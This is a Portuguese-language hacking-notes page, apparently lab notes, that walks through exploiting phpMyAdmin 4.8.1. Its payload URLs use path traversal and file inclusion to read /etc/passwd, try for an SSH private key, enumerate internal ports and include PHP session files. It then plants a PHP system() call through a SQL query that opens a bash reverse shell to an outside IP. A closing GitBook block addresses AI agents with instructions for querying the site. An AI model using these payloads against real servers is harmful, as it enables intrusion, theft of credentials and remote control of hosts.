> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identificação da vulnerabilidade RCE do phpMyAdmin**

Após identificar a versão 4.8.1 do phpMyAdmin como vulnerável, use o SearchSploit para encontrar exploits correspondentes e confirmar o [RCE](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="/files/f839fa434b5250bd26f38210238cfa566385472d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/520cf0af2d93f70ccb660a93ebf70e26037c5e33" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE

Explore o caminho RCE injetando o seguinte script na URL para ler `/etc/passwd`:

<figure><img src="/files/9cf670c5bb5ab6d05f0633aa9cb05f563211dab1" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/1ddb43f2cadb7e3151ce8b7de8311fb2053b0de8" alt=""><figcaption></figcaption></figure>

**Tente recuperar a `admin` chave privada SSH do usuário**

Tente acessar a `admin` chave privada SSH do usuário com a seguinte URL, mas ela retorna um erro:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/cf996bfd6a1436e8781797cb9babdd25b5c46051" alt=""><figcaption></figcaption></figure>

**Enumeração de portas da rede privada interna**

Use a seguinte URL para listar as portas internas do servidor por meio de `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/79bbdbe71d220b34cb85b25331f16efbcc9ec98e" alt=""><figcaption></figcaption></figure>

Salve essas portas em um `dados` arquivo para análise posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/7e54c578921ab691e0123dedf42e547a25974833" alt=""><figcaption></figcaption></figure>

**Identificando o diretório que contém as sessões do phpMyAdmin**

Ao revisar o script, identifique o diretório que contém as sessões do phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/4b56637e720df30d94e6368643cf00325125961c" alt=""><figcaption></figcaption></figure>

## Injeção de comando no phpMyAdmin

**Usando o cookie de sessão do phpMyAdmin para injeção de comando**

<figure><img src="/files/ccb3b9532a3fa6642dbd0136568191b3cfd58aef" alt=""><figcaption></figcaption></figure>

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/478f621445564af14b0000bf5e3ea0f4cf22af5d" alt=""><figcaption></figcaption></figure>

#### Este arquivo interpreta comandos das consultas.

```sql
SELECT 'testing';
```

<figure><img src="/files/ba6775bca0aba461b7a9548975d01fa4264521a8" alt=""><figcaption></figcaption></figure>

**Injeção de comando SQL para obter um** [**shell reverso**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**O acesso à máquina finalmente é bem-sucedido:**

<figure><img src="/files/7902eacfaf2cd99f6aadb400bc07285c80d1142f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
